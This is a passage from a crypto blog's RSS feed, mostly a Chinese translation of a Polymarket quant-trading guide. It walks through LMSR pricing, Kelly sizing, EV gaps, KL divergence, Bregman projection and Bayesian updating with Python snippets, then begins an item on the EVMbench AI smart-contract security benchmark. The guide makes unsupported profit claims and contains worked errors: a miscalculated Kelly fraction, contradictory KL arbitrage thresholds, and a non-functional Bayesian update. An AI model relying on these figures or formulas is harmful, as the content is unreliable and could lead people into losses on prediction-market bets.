&#x80A1;&#x7968;&#x4F1A;&#x4F7F;&#x4EF7;&#x683C;&#x4E0A;&#x6DA8;&#x7EA6; 5%&#x3002;&#x91CF;&#x5316;&#x5206;&#x6790;&#x5E08;&#x5728;&#x5176;&#x4ED6;&#x4EBA;&#x4E4B;&#x524D;&#x9884;&#x5148;&#x8BA1;&#x7B97;&#x6B64;&#x503C;&#x4EE5;&#x8FDB;&#x884C;&#x5957;&#x5229;</p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2026/03/image-1.png" class="kg-image" alt="Polymarket&#x91CF;&#x5316;&#x4EA4;&#x6613;&#x6307;&#x5357;" loading="lazy" width="680" height="272" srcset="https://defiplot.com/blog/content/images/size/w600/2026/03/image-1.png 600w, https://defiplot.com/blog/content/images/2026/03/image-1.png 680w"></figure><p>&#x4EE3;&#x7801;/&#x4F5C;&#x4E1A;&#xFF1A;</p><pre><code>import sympy as sp
import matplotlib.pyplot as plt
import numpy as np

b = 100
q_yes = sp.symbols(&apos;q_yes&apos;)
price_yes = sp.exp(q_yes / b) / (sp.exp(q_yes / b) + sp.exp(0 / b))  # Binary market
price_func = sp.lambdify(q_yes, price_yes)

qs = np.linspace(0, 1000, 100)
prices = price_func(qs)
plt.plot(qs, prices)
plt.xlabel(&apos;Quantity Bought&apos;)
plt.ylabel(&apos;Price&apos;)
plt.title(&apos;LMSR Pricing Curve&apos;)
plt.show()</code></pre><p>&#x8FD0;&#x884C;&#x6B64;&#x4EE3;&#x7801;&#x4EE5;&#x67E5;&#x770B;&#x7ED3;&#x679C;&#x66F2;&#x7EBF;&#x4F5C;&#x4E1A;&#xFF1A;&#x4F7F;&#x7528; API &#x83B7;&#x53D6;&#x7684;&#x771F;&#x5B9E; Polymarket b &#x503C;&#x8FDB;&#x884C;&#x6D4B;&#x8BD5;</p><p>&#x98CE;&#x9669;&#xFF1A;&#x5728;&#x8D44;&#x91D1;&#x6C60;&#x8F83;&#x5C0F;&#xFF08;b&lt;50&#xFF09;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x9CB8;&#x9C7C;&#x53EF;&#x80FD;&#x4F1A;&#x64CD;&#x7EB5;&#x4EA4;&#x6613;&#xFF1B;&#x52A1;&#x5FC5;&#x68C0;&#x67E5;&#x4EA4;&#x6613;&#x91CF;</p><p>&#x4F18;&#x52BF;&#xFF1A;&#x5728;&#x6CE2;&#x52A8;&#x6027;&#x8F83;&#x5927;&#x7684;&#x5E02;&#x573A;&#xFF08;&#x4F8B;&#x5982;&#x7535;&#x5B50;&#x7ADE;&#x6280;&#xFF0C;&#x4EA4;&#x6613;&#x91CF;&#x8FBE; 200 &#x4E07;&#x7F8E;&#x5143;&#xFF09;&#x4E2D;&#xFF0C;&#x6BCF;&#x65E5;&#x51B2;&#x51FB;&#x5957;&#x5229;&#x53EF;&#x83B7;&#x5229; 500 &#x7F8E;&#x5143;&#x4EE5;&#x4E0A;</p><h2 id="2%E3%80%81%E5%87%AF%E5%88%A9%E5%87%86%E5%88%99%EF%BC%88%E9%95%BF%E6%9C%9F%E5%A2%9E%E9%95%BF%E7%9A%84%E6%9C%80%E4%BC%98%E8%A7%84%E6%A8%A1%EF%BC%89">2&#x3001;&#x51EF;&#x5229;&#x51C6;&#x5219;&#xFF08;&#x957F;&#x671F;&#x589E;&#x957F;&#x7684;&#x6700;&#x4F18;&#x89C4;&#x6A21;&#xFF09;</h2><p>&#x907F;&#x514D;&#x5B64;&#x6CE8;&#x4E00;&#x63B7;&#x2014;&#x2014;&#x51EF;&#x5229;&#x51C6;&#x5219;&#x6700;&#x5927;&#x5316;&#x51E0;&#x4F55;&#x589E;&#x957F;&#xFF0C;&#x88AB;&#x6240;&#x6709;&#x5927;&#x578B;&#x5BF9;&#x51B2;&#x57FA;&#x91D1;&#xFF08;&#x5982; Renaissance&#x3001;Two Sigma&#xFF09;&#x7528;&#x4E8E;&#x5728;&#x590D;&#x5229;&#x589E;&#x957F;&#x7684;&#x540C;&#x65F6;&#x907F;&#x514D;&#x7834;&#x4EA7;</p><p>&#x516C;&#x5F0F;&#xFF1A;f* = (p * &#x8D54;&#x7387; - (1-p)) / &#x8D54;&#x7387;&#xFF08;&#x5176;&#x4E2D; p &#x662F;&#x4F60;&#x7684;&#x4F18;&#x52BF;&#x6982;&#x7387;&#xFF0C;&#x8D54;&#x7387; = 1/&#x4EF7;&#x683C; - 1&#xFF09;&#x3002;&#x6CE2;&#x52A8;&#x7387;&#x4F7F;&#x7528;&#x5206;&#x6570;&#xFF08;0.25-0.5&#xFF09;</p><p>&#x793A;&#x4F8B;&#xFF1A;&#x5BF9;&#x4E8E; 2028 &#x5E74; JD Vance &#x7684;&#x83B7;&#x80DC;&#x8005;&#xFF08;&#x8D54;&#x7387;&#x4E3A; 21%&#xFF0C;&#x4F60;&#x7684;&#x6A21;&#x578B; p=25%&#xFF0C;&#x6765;&#x81EA;&#x6C11;&#x610F;&#x8C03;&#x67E5;/X &#x60C5;&#x7EEA;&#xFF09;&#xFF0C;f*=0.1 &#x500D;&#x8D44;&#x91D1;&#x3002;&#x9876;&#x7EA7;&#x94B1;&#x5305;&#x901A;&#x8FC7;&#x5BF9;&#x51B2;&#x6B64;&#x7B56;&#x7565;&#x83B7;&#x5229;&#x8D85;&#x8FC7; 20 &#x4E07;&#x7F8E;&#x5143;</p><p>&#x56FE;&#x8868;&#xFF1A;</p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2026/03/image-2.png" class="kg-image" alt="Polymarket&#x91CF;&#x5316;&#x4EA4;&#x6613;&#x6307;&#x5357;" loading="lazy" width="745" height="530" srcset="https://defiplot.com/blog/content/images/size/w600/2026/03/image-2.png 600w, https://defiplot.com/blog/content/images/2026/03/image-2.png 745w" sizes="(min-width: 720px) 720px"></figure><p>&#xFF08;&#x6B64;&#x56FE;&#x663E;&#x793A;&#x4E86;&#x589E;&#x957F;&#x66F2;&#x7EBF;&#xFF1A;&#x5CF0;&#x503C;&#x4F4D;&#x4E8E; f*&#xFF0C;&#x4E4B;&#x540E;&#x6025;&#x5267;&#x4E0B;&#x964D;&#xFF0C;&#x98CE;&#x9669;&#x6781;&#x9AD8;&#x3002;&#xFF09;</p><p>&#x4EE3;&#x7801;/&#x4F5C;&#x4E1A;&#xFF1A;</p><pre><code>import numpy as np

def kelly(p, odds):
    return (p * odds - (1 - p)) / odds

p = 0.25  # Your edge
odds = (1 / 0.21) - 1  # From market price
f_star = kelly(p, odds)
print(f&quot;Optimal fraction: {f_star:.2f}&quot;)

# Simulate growth
bankrolls = [1]
for _ in range(100):
    outcome = np.random.rand() &lt; p
    bankrolls.append(bankrolls[-1] * (1 + f_star * odds if outcome else 1 - f_star))</code></pre><p>&#x4F5C;&#x4E1A;&#xFF1A;&#x5BF9; 50 &#x4E2A;&#x5386;&#x53F2; Polymarket &#x5206;&#x8FA8;&#x7387;&#x8FDB;&#x884C;&#x56DE;&#x6D4B;</p><p>&#x98CE;&#x9669;&#xFF1A;&#x9AD8;&#x4F30; p &#x2192; &#x7834;&#x4EA7;&#xFF1B;&#x4E3A;&#x4E86;&#x5B89;&#x5168;&#x8D77;&#x89C1;&#xFF0C;&#x59CB;&#x7EC8;&#x51CF;&#x534A;</p><p>&#x4F18;&#x52BF;&#xFF1A;&#x901A;&#x8FC7;&#x6301;&#x7EED;&#x8FDB;&#x884C;&#x6B63;&#x671F;&#x671B;&#x503C; (+EV) &#x62BC;&#x6CE8;&#xFF0C;&#x5728; 2026 &#x5E74;&#x7B2C;&#x4E00;&#x5B63;&#x5EA6;&#x5C06; 1000 &#x7F8E;&#x5143;&#x53D8;&#x6210; 15 &#x4E07;&#x7F8E;&#x5143;</p><h2 id="3%E3%80%81%E6%9C%9F%E6%9C%9B%E5%80%BC-ev-%E7%BC%BA%E5%8F%A3%EF%BC%88%E6%A0%B8%E5%BF%83%E5%AE%9A%E4%BB%B7%E9%94%99%E8%AF%AF%E6%A3%80%E6%B5%8B%E5%99%A8%EF%BC%89">3&#x3001;&#x671F;&#x671B;&#x503C; (EV) &#x7F3A;&#x53E3;&#xFF08;&#x6838;&#x5FC3;&#x5B9A;&#x4EF7;&#x9519;&#x8BEF;&#x68C0;&#x6D4B;&#x5668;&#xFF09;</h2><p>&#x4EC5;&#x5F53;&#x60A8;&#x7684;&#x6A21;&#x578B;&#x9884;&#x6D4B;&#x6982;&#x7387;&#x9AD8;&#x4E8E;&#x5E02;&#x573A;&#x9884;&#x6D4B;&#x6982;&#x7387;&#x65F6;&#x624D;&#x8FDB;&#x884C;&#x62BC;&#x6CE8;&#x2014;&#x2014;&#x91CF;&#x5316;&#x5206;&#x6790;&#x5E08;&#x4F1A;&#x626B;&#x63CF;&#x6570;&#x5343;&#x4EFD;&#x5408;&#x7EA6;&#x4EE5;&#x5BFB;&#x627E;&#x7F3A;&#x53E3;</p><p>&#x516C;&#x5F0F;&#xFF1A;EV = (&#x771F;&#x5B9E;&#x6982;&#x7387; - &#x4EF7;&#x683C;) * &#x6536;&#x76CA;</p><p>&#xFF08;&#x6536;&#x76CA; = 1/&#x4EF7;&#x683C;&#xFF1B;&#x6263;&#x9664;&#x8D39;&#x7528;&#x540E;&#xFF0C;&#x5982;&#x679C; EV &gt; 0.05 &#x5219;&#x5165;&#x573A;&#xFF09;</p><p>&#x793A;&#x4F8B;&#xFF1A;&#x4F0A;&#x6717;&#x505C;&#x706B;&#x5E02;&#x573A;&#xFF08;&#x4EF7;&#x683C;&#x4E3A; 47%&#xFF0C;&#x60A8;&#x7684;&#x57FA;&#x4E8E;&#x65B0;&#x95FB;&#x7684;&#x6A21;&#x578B;&#x9884;&#x6D4B;&#x4E3A; 52%&#xFF09;&#x2192; 500 &#x4E07;&#x7F8E;&#x5143;&#x4EA4;&#x6613;&#x91CF;&#x4E0B;&#x7684; EV &#x4E3A; 0.08&#xFF0C;&#x6613;&#x4E8E;&#x5957;&#x5229;</p><p>&#x56FE;&#x8868;&#xFF1A;</p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2026/03/image-3.png" class="kg-image" alt="Polymarket&#x91CF;&#x5316;&#x4EA4;&#x6613;&#x6307;&#x5357;" loading="lazy" width="743" height="510" srcset="https://defiplot.com/blog/content/images/size/w600/2026/03/image-3.png 600w, https://defiplot.com/blog/content/images/2026/03/image-3.png 743w" sizes="(min-width: 720px) 720px"></figure><p>&#xFF08;EV &#x7F3A;&#x53E3;&#x76F4;&#x65B9;&#x56FE;&#xFF1A;&#x5927;&#x90E8;&#x5206;&#x63A5;&#x8FD1;&#x4E8E;&#x96F6;&#xFF0C;&#x5C3E;&#x90E8;&#x663E;&#x793A;&#x6B63;&#x671F;&#x671B;&#x503C;&#x673A;&#x4F1A;&#x3002;&#xFF09;</p><p>&#x4EE3;&#x7801;/&#x4F5C;&#x4E1A;&#xFF1A;</p><pre><code>import pandas as pd
# Assume df with &apos;market_price&apos; and &apos;model_p&apos;
df[&apos;ev&apos;] = (df[&apos;model_p&apos;] - df[&apos;market_price&apos;]) * (1 / df[&apos;market_price&apos;])
opps = df[df[&apos;ev&apos;] &gt; 0.05]
print(opps)</code></pre><p>&#x4F5C;&#x4E1A;&#xFF1A;&#x63D0;&#x53D6; 10 &#x4E2A;&#x5E02;&#x573A;&#x7684; Polygon &#x6570;&#x636E;&#xFF0C;&#x8BA1;&#x7B97;&#x4F60;&#x7684; model_p&#xFF08;&#x4F8B;&#x5982;&#xFF0C;&#x5E73;&#x5747;&#x6C11;&#x8C03;&#x503C;&#xFF09;&#x3002;</p><p>&#x98CE;&#x9669;&#xFF1A;&#x6A21;&#x578B;&#x4E0D;&#x51C6;&#x786E;&#xFF1B;&#x4F7F;&#x7528;&#x524D;&#x77BB;&#x6027;&#x6D4B;&#x8BD5;&#x8FDB;&#x884C;&#x9A8C;&#x8BC1;</p><p>&#x4F18;&#x52BF;&#xFF1A;&#x6BCF;&#x65E5;&#x6536;&#x76CA; 300 &#x7F8E;&#x5143;&#x4EE5;&#x4E0A;&#xFF0C;&#x4F7F;&#x7528; 2000 &#x7F8E;&#x5143;&#x8D44;&#x91D1;&#x626B;&#x63CF;&#x5730;&#x7406;/&#x653F;&#x6CBB;&#x5E02;&#x573A;</p><h2 id="4%E3%80%81kl-%E8%83%8C%E7%A6%BB%EF%BC%88%E7%9B%B8%E5%85%B3%E6%80%A7%E5%AE%9A%E4%BB%B7%E9%94%99%E8%AF%AF%E6%89%AB%E6%8F%8F%E5%99%A8%EF%BC%89">4&#x3001;KL &#x80CC;&#x79BB;&#xFF08;&#x76F8;&#x5173;&#x6027;&#x5B9A;&#x4EF7;&#x9519;&#x8BEF;&#x626B;&#x63CF;&#x5668;&#xFF09;</h2><p>&#x8861;&#x91CF;&#x76F8;&#x5173;&#x5E02;&#x573A;&#x6982;&#x7387;&#x5206;&#x5E03;&#x4E4B;&#x95F4;&#x7684;&#x201C;&#x8DDD;&#x79BB;&#x201D;&#x2014;&#x2014;&#x4F4E; KL &#x503C;&#x8868;&#x793A;&#x5957;&#x5229;</p><p>&#x516C;&#x5F0F;&#xFF1A;D_KL(P||Q) = &#x3A3; P_i log(P_i / Q_i)</p><p>&#xFF08;P/Q &#x4E3A;&#x6982;&#x7387;&#x5411;&#x91CF;&#xFF1B;&#x82E5; &gt;0.2 &#x5219;&#x4E3A;&#x5957;&#x5229;&#xFF09;</p><p>&#x793A;&#x4F8B;&#xFF1A;Vance (21%) &#x548C; Newsom (17%) 2028 &#x5E74;&#x9AD8; KL &#x503C; &#x2192; &#x5BF9;&#x51B2;&#x6295;&#x8D44;&#x7EC4;&#x5408;&#xFF0C;&#x63D0;&#x53D6; 10 &#x4E07;&#x7F8E;&#x5143;&#x3002;</p><p>&#x56FE;&#x8868;&#xFF1A;</p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2026/03/image-4.png" class="kg-image" alt="Polymarket&#x91CF;&#x5316;&#x4EA4;&#x6613;&#x6307;&#x5357;" loading="lazy" width="900" height="535" srcset="https://defiplot.com/blog/content/images/size/w600/2026/03/image-4.png 600w, https://defiplot.com/blog/content/images/2026/03/image-4.png 900w" sizes="(min-width: 720px) 720px"></figure><p>&#x4EE3;&#x7801;/&#x4F5C;&#x4E1A;&#xFF1A;</p><pre><code>from scipy.stats import entropy
p = [0.21, 0.79]  # Vance yes/no
q = [0.17, 0.83]  # Newsom
kl = entropy(p, q)
print(f&quot;KL: {kl:.2f}&quot;)</code></pre><p>&#x4F5C;&#x4E1A;&#xFF1A;&#x8BA1;&#x7B97; 5 &#x4E2A;&#x76F8;&#x5173;&#x7684; PM &#x5BF9;</p><p>&#x98CE;&#x9669;&#xFF1A;&#x4F4E;&#x6210;&#x4EA4;&#x91CF;&#x5E02;&#x573A;&#x4E2D;&#x7684;&#x566A;&#x58F0;&#x4F1A;&#x5BFC;&#x81F4;&#x9519;&#x8BEF;&#x4FE1;&#x53F7;</p><p>&#x4F18;&#x52BF;&#xFF1A;&#x591A;&#x5143;&#x5316;&#x6295;&#x8D44;&#x53EF;&#x5E26;&#x6765; 15% &#x7684;&#x6295;&#x8D44;&#x7EC4;&#x5408;&#x6536;&#x76CA;&#x63D0;&#x5347;</p><h2 id="5%E3%80%81bregman-%E6%8A%95%E5%BD%B1%EF%BC%88%E5%A4%9A%E7%BB%93%E6%9E%9C%E5%A5%97%E5%88%A9%E4%BC%98%E5%8C%96%E5%99%A8%EF%BC%89">5&#x3001;Bregman &#x6295;&#x5F71;&#xFF08;&#x591A;&#x7ED3;&#x679C;&#x5957;&#x5229;&#x4F18;&#x5316;&#x5668;&#xFF09;</h2><p>&#x7528;&#x4E8E;&#x626B;&#x63CF;&#x6307;&#x6570;&#x7EC4;&#x5408; (2^63) &#x7684;&#x5E38;&#x7528;&#x65B9;&#x6CD5;&#xFF0C;&#x901A;&#x8FC7;&#x6295;&#x5F71;&#x5230;&#x6982;&#x7387;&#x591A;&#x9762;&#x4F53;&#x4E0A;&#x5B9E;&#x73B0;&#x65E0;&#x98CE;&#x9669;</p><p>&#x516C;&#x5F0F;&#xFF1A;min D_&#x3C6;(&#x3BC;||&#x3B8;) &#x53D7;&#x7EA6;&#x675F;&#x6761;&#x4EF6;&#x7EA6;&#x675F;</p><p>&#xFF08;&#x3C6; &#x4E3A;&#x51F8;&#x51FD;&#x6570;&#xFF0C;&#x901A;&#x5E38;&#x4E3A; KL &#x51FD;&#x6570;&#xFF1B;&#x6C42;&#x89E3;&#x5957;&#x5229;&#x8FB9;&#x9645;&#x5206;&#x5E03;&#xFF09;</p><p>&#x793A;&#x4F8B;&#xFF1A;&#x5965;&#x65AF;&#x5361;&#x6700;&#x4F73;&#x5F71;&#x7247;&#x591A;&#x7ED3;&#x679C;&#xFF08;&#x300A;&#x7F6A;&#x4EBA;&#x300B;&#xFF09; 15%)-&#x9884;&#x6D4B;&#x70B9;&#x4E0D;&#x4E00;&#x81F4;&#xFF0C;2100&#x4E07;&#x7F8E;&#x5143;&#x6CE2;&#x52A8;&#x7387;&#x5957;&#x5229;</p><p>&#x56FE;&#x8868;&#xFF1A;</p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2026/03/image-5.png" class="kg-image" alt="Polymarket&#x91CF;&#x5316;&#x4EA4;&#x6613;&#x6307;&#x5357;" loading="lazy" width="752" height="578" srcset="https://defiplot.com/blog/content/images/size/w600/2026/03/image-5.png 600w, https://defiplot.com/blog/content/images/2026/03/image-5.png 752w" sizes="(min-width: 720px) 720px"></figure><p>&#xFF08;&#x6536;&#x655B;&#xFF1A;x&#x8F74;&#x8FED;&#x4EE3;&#x6B21;&#x6570;&#xFF0C;y&#x8F74;&#x76EE;&#x6807;&#x503C;&#x9012;&#x51CF;&#x6B21;&#x6570;&#xFF0C;50-150&#x6B65;&#x3002;&#xFF09;</p><p>&#x4EE3;&#x7801;/&#x4F5C;&#x4E1A;&#xFF1A;</p><pre><code>import cvxpy as cp
mu = cp.Variable(2)  # Binary example
theta = [0.5, 0.5]
obj = cp.kl_div(mu[0], theta[0]) + cp.kl_div(mu[1], theta[1])
constraints = [cp.sum(mu) == 1, mu &gt;= 0]
prob = cp.Problem(cp.Minimize(obj), constraints)
prob.solve()
print(mu.value)</code></pre><p>&#x4F5C;&#x4E1A;&#xFF1A;&#x6269;&#x5C55;&#x5230; 3 &#x4E2A;&#x6216;&#x66F4;&#x591A;&#x7ED3;&#x679C;</p><p>&#x98CE;&#x9669;&#xFF1A;&#x9AD8;&#x8BA1;&#x7B97;&#xFF1B;&#x4E3A;&#x4E86;&#x63D0;&#x9AD8;&#x901F;&#x5EA6;&#xFF0C;&#x4F7F;&#x7528;&#x8FD1;&#x4F3C;&#x503C;</p><p>&#x4F18;&#x52BF;&#xFF1A;&#x5E73;&#x5747;&#x6BCF;&#x7B14;&#x4EA4;&#x6613;&#x76C8;&#x5229; 496 &#x7F8E;&#x5143;&#xFF0C;&#x4E0B;&#x884C;&#x98CE;&#x9669;&#x63A5;&#x8FD1;&#x4E8E;&#x96F6;</p><h2 id="6%E3%80%81%E8%B4%9D%E5%8F%B6%E6%96%AF%E6%9B%B4%E6%96%B0%EF%BC%88%E5%8A%A8%E6%80%81%E6%A6%82%E7%8E%87%E8%B0%83%E6%95%B4%EF%BC%89">6&#x3001;&#x8D1D;&#x53F6;&#x65AF;&#x66F4;&#x65B0;&#xFF08;&#x52A8;&#x6001;&#x6982;&#x7387;&#x8C03;&#x6574;&#xFF09;</h2><p>&#x6839;&#x636E;&#x65B0;&#x8BC1;&#x636E;&#x66F4;&#x65B0;&#x4FE1;&#x5FF5;&#x2014;&#x2014;&#x5728;&#x5FEB;&#x901F;&#x53D8;&#x5316;&#x7684;&#x5E02;&#x573A;&#x4E2D;&#x4F18;&#x4E8E;&#x9759;&#x6001;&#x6A21;&#x578B;</p><p>&#x516C;&#x5F0F;&#xFF1A;P(H|E) = P(E|H) * P(H) / P(E)</p><p>&#xFF08;H &#x4E3A;&#x5047;&#x8BBE;&#xFF0C;E &#x4E3A;&#x8BC1;&#x636E;&#xFF0C;&#x4F8B;&#x5982;&#x63A8;&#x6587;/&#x6C11;&#x610F;&#x8C03;&#x67E5;&#xFF09;</p><p>&#x793A;&#x4F8B;&#xFF1A;&#x57C3;&#x9686;&#xB7;&#x9A6C;&#x65AF;&#x514B; #tweets &#x5E02;&#x573A;&#xFF08;&#x6210;&#x4EA4;&#x91CF; 200 &#x4E07;&#x7F8E;&#x5143;&#xFF09;&#x2014;&#x2014;&#x5148;&#x9A8C;&#x6982;&#x7387; 50% + &#x70ED;&#x70B9;&#x8BC1;&#x636E; &#x2192; &#x540E;&#x9A8C;&#x6982;&#x7387; 65%&#xFF0C;+EV &#x6295;&#x6CE8;</p><p>&#x56FE;&#x8868;&#xFF1A;</p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2026/03/image-6.png" class="kg-image" alt="Polymarket&#x91CF;&#x5316;&#x4EA4;&#x6613;&#x6307;&#x5357;" loading="lazy" width="747" height="533" srcset="https://defiplot.com/blog/content/images/size/w600/2026/03/image-6.png 600w, https://defiplot.com/blog/content/images/2026/03/image-6.png 747w" sizes="(min-width: 720px) 720px"></figure><p>&#xFF08;&#x65F6;&#x95F4;&#x5E8F;&#x5217;&#xFF1A;&#x6982;&#x7387;&#x968F;&#x65F6;&#x95F4;&#x63A8;&#x79FB;&#x800C;&#x53D8;&#x5316;&#xFF0C;&#x4F8B;&#x5982;&#xFF0C;&#x4E8B;&#x4EF6;&#x53D1;&#x751F;&#x540E;&#x6982;&#x7387;&#x4ECE; 10% &#x4E0A;&#x5347;&#x5230; 34%&#x3002;&#xFF09;</p><p>&#x4EE3;&#x7801;/&#x4F5C;&#x4E1A;&#xFF1A;</p><pre><code>from scipy import stats
prior = stats.beta(1,1)  # Uniform
likelihood = 0.7  # Evidence strength
posterior = prior.pdf(0.65) * likelihood  # Simplify; use full update</code></pre><p>&#x4F5C;&#x4E1A;&#xFF1A;&#x4F7F;&#x7528;&#x771F;&#x5B9E;&#x5E02;&#x573A; X &#x6570;&#x636E;&#x8FDB;&#x884C;&#x66F4;&#x65B0;</p><p>&#x98CE;&#x9669;&#xFF1A;&#x4E0D;&#x826F;&#x8BC1;&#x636E;&#x4F1A;&#x5E72;&#x6270;&#x8F93;&#x51FA;</p><p>&#x4F18;&#x52BF;&#xFF1A;&#x5728;&#x6CE2;&#x52A8;&#x6027;&#x8F83;&#x5927;&#x7684;&#x5730;&#x7406;/&#x65B0;&#x95FB;&#x5E02;&#x573A;&#x4E2D;&#x51C6;&#x786E;&#x7387;&#x63D0;&#x5347; 12%</p><h2 id="7%E3%80%81%E7%B3%BB%E7%BB%9F%E5%A4%8D%E7%8E%B0%EF%BC%9A%E6%9E%84%E5%BB%BA%E4%BD%A0%E7%9A%84%E9%87%8F%E5%8C%96%E6%9C%BA%E5%99%A8%E4%BA%BA">7&#x3001;&#x7CFB;&#x7EDF;&#x590D;&#x73B0;&#xFF1A;&#x6784;&#x5EFA;&#x4F60;&#x7684;&#x91CF;&#x5316;&#x673A;&#x5668;&#x4EBA;</h2><p>&#x6570;&#x636E;&#x8BBE;&#x7F6E;&#xFF1A;&#x83B7;&#x53D6; Polygon API &#x5BC6;&#x94A5;&#x4EE5;&#x83B7;&#x53D6;&#x5B9E;&#x65F6; PM &#x8D54;&#x7387;/&#x6CE2;&#x52A8;&#x7387;</p><p>&#x96C6;&#x6210;&#xFF1A;Python &#x73AF;&#x5883;&#xFF0C;&#x5E76;&#x6839;&#x636E;&#x9700;&#x8981;&#x5B89;&#x88C5; numpy&#x3001;scipy &#x548C; cvxpy</p><p>&#x56DE;&#x6D4B;&#xFF1A;&#x4F7F;&#x7528; 2025 &#x5E74;&#x6570;&#x636E;&#x8FDB;&#x884C;&#x524D;&#x77BB;&#x6027;&#x6D4B;&#x8BD5;&#xFF1B;&#x8BA1;&#x7B97;&#x4FE1;&#x53F7;&#x7684; EV/KL &#x503C;</p><p>&#x90E8;&#x7F72;&#xFF1A;&#x4F7F;&#x7528; Railway/Github &#x8FDB;&#x884C;&#x5B9A;&#x65F6;&#x4EFB;&#x52A1;&#xFF1B;&#x4F7F;&#x7528; Telegram &#x53D1;&#x9001;&#x8B66;&#x62A5;</p><p>&#x98CE;&#x9669;&#x7BA1;&#x7406;&#xFF1A;&#x5206;&#x6570;&#x51EF;&#x5229;&#x6307;&#x6807;&#xFF0C;20% &#x56DE;&#x64A4;&#x6B62;&#x635F;</p><h2 id="8%E3%80%81%E9%A3%8E%E9%99%A9%E4%B8%8E%E7%8E%B0%E5%AE%9E%E6%A3%80%E9%AA%8C">8&#x3001;&#x98CE;&#x9669;&#x4E0E;&#x73B0;&#x5B9E;&#x68C0;&#x9A8C;</h2><p>&#x8FC7;&#x62DF;&#x5408;&#x4F1A;&#x5BFC;&#x81F4;&#x6A21;&#x578B;&#x5931;&#x6548;&#x2014;&#x2014;&#x59CB;&#x7EC8;&#x8FDB;&#x884C;&#x6837;&#x672C;&#x5916;&#x6D4B;&#x8BD5;&#x3002;&#x8D39;&#x7528;&#xFF08;1-2%&#xFF09;&#x4F1A;&#x524A;&#x5F31;&#x5FAE;&#x5C0F;&#x7684;&#x4F18;&#x52BF;&#x3002;2026 &#x5E74;&#x7684;&#x5E02;&#x573A;&#x673A;&#x5236;&#x8F6C;&#x53D8;&#xFF08;&#x4F8B;&#x5982;&#xFF0C;&#x66F4;&#x9AD8;&#x7684;&#x6CE2;&#x52A8;&#x7387;&#xFF09;&#x4F1A;&#x4F7F;&#x6A21;&#x578B;&#x5931;&#x6548;&#x3002;&#x9053;&#x5FB7;&#x63D0;&#x793A;&#xFF1A;&#x62BC;&#x6CE8;&#x6218;&#x4E89;&#x7B49;&#x654F;&#x611F;&#x4E8B;&#x4EF6;&#x2014;&#x2014;&#x52A1;&#x5FC5;&#x8C28;&#x614E;&#x3002;&#x76EE;&#x6807;&#x662F;&#x590F;&#x666E;&#x6BD4;&#x7387;&#x5927;&#x4E8E; 1.5&#xFF0C;&#x800C;&#x975E;&#x8FFD;&#x6C42;&#x9AD8;&#x98CE;&#x9669;&#x9AD8;&#x56DE;&#x62A5;&#x3002;</p><h2 id="9%E3%80%81%E7%BB%93%E8%AE%BA%E4%B8%8E%E5%90%8E%E7%BB%AD%E6%AD%A5%E9%AA%A4">9&#x3001;&#x7ED3;&#x8BBA;&#x4E0E;&#x540E;&#x7EED;&#x6B65;&#x9AA4;</h2><p>&#x672C;&#x6307;&#x5357;&#x5C06; Polymarket &#x6253;&#x9020;&#x6210;&#x60A8;&#x7684;&#x4E2A;&#x4EBA;&#x91CF;&#x5316;&#x5F15;&#x64CE;&#x3002;&#x5BF9;&#x51B2;&#x57FA;&#x91D1;&#x8D5A;&#x5F97;&#x76C6;&#x6EE1;&#x94B5;&#x6EE1;&#xFF1B;&#x6709;&#x4E86;&#x8FD9;&#x4E9B;&#x516C;&#x5F0F;&#xFF0C;&#x60A8;&#x53EF;&#x4EE5;&#x4ECE; 1000 &#x7F8E;&#x5143;&#x8D77;&#x6B65;&#x3002;&#x4ECE;&#x5C0F;&#x989D;&#x6295;&#x8D44;&#x5F00;&#x59CB;&#xFF0C;&#x5E76;&#x8FDB;&#x884C;&#x4E25;&#x683C;&#x7684;&#x56DE;&#x6D4B;&#x3002;</p><hr><p>&#x539F;&#x6587;&#x94FE;&#x63A5;&#xFF1A;<a href="https://x.com/0xRicker/status/2032798292128522327?ref=defiplot.com">The Quant Playbook for Polymarket: 6 Formulas Hedge Funds Use to Extract Millions in 2026</a></p><p>DefiPlot&#x7FFB;&#x8BD1;&#x6574;&#x7406;&#xFF0C;&#x8F6C;&#x8F7D;&#x8BF7;&#x6807;&#x660E;&#x51FA;&#x5904;</p>]]></content:encoded></item><item><title><![CDATA[EVMbench合约安全评估框架]]></title><description><![CDATA[EVMbench 是一个综合评估框架，旨在衡量在 EVM 兼容环境中运行的 AI 代理的智能合约安全能力。]]></description><link>https://defiplot.com/blog/evmbench-smart-contract-security-evaluation-framework/</link><guid isPermaLink="false">697787afa8f7ce2267bf2869</guid><category><![CDATA[tools]]></category><dc:creator><![CDATA[defiplot]]></dc:creator><pubDate>Fri, 20 Feb 2026 15:48:43 GMT</pubDate><media:content url="https://defiplot.com/blog/content/images/2026/02/evmbench.png" medium="image"/><content:encoded><![CDATA[<img src="https://defiplot.com/blog/content/images/2026/02/evmbench.png" alt="EVMbench&#x5408;&#x7EA6;&#x5B89;&#x5168;&#x8BC4;&#x4F30;&#x6846;&#x67B6;"><p>&#x667A;&#x80FD;&#x5408;&#x7EA6;&#x9A71;&#x52A8;&#x53BB;&#x4E2D;&#x5FC3;&#x5316;&#x91D1;&#x878D;&#xFF08;DeFi&#xFF09;&#x3001;NFT 